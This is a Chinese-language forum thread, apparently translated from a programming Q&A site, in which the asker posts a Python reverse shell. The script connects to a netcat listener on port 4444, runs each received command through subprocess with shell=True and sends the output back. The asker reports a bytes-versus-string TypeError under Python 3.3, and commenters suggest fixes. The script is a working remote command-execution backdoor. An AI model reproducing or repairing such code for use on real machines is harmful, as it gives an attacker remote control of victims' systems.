0
我的shell腳本:Python的shell腳本錯誤與POPEN
#!/usr/bin/python
import subprocess, socket
HOST = 'localhost'
PORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
s.close()
我使用netcat來偵聽端口4444。所以我來說netcat
,它是聽。然後我運行此腳本,但如果我在netcat
型ipconfig
或東西,我在外殼得到這個錯誤:
Traceback (most recent call last):
File "C:\Users\Myname\Documents\shell.py", line 16, in <module>
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
File "C:\Python33\lib\subprocess.py", line 818, in __init__
restore_signals, start_new_session)
File "C:\Python33\lib\subprocess.py", line 1049, in _execute_child
args = list2cmdline(args)
File "C:\Python33\lib\subprocess.py", line 627, in list2cmdline
needquote = (" " in arg) or ("\t" in arg) or not arg
TypeError: argument of type 'int' is not iterable
['socket.recv()'](http://docs.python.org/3.3/library/socket.html#socket.socket.recv)返回一個['bytes'](HTTP: //docs.python.org/3.1/library/functions.html#bytes)對象。也許它不是一個字符串類型? 'data = str(s.recv(1024))'工作嗎? (我從來沒有使用'bytes'對象......) – alcedine
我測試了你的代碼,我沒有收到任何錯誤消息。也許試着改變端口號(4444是註冊端口),然後寫出實際的IP而不是'localhost'(用Python 2.7.3在Xubuntu和Windows 8上測試) – ton1c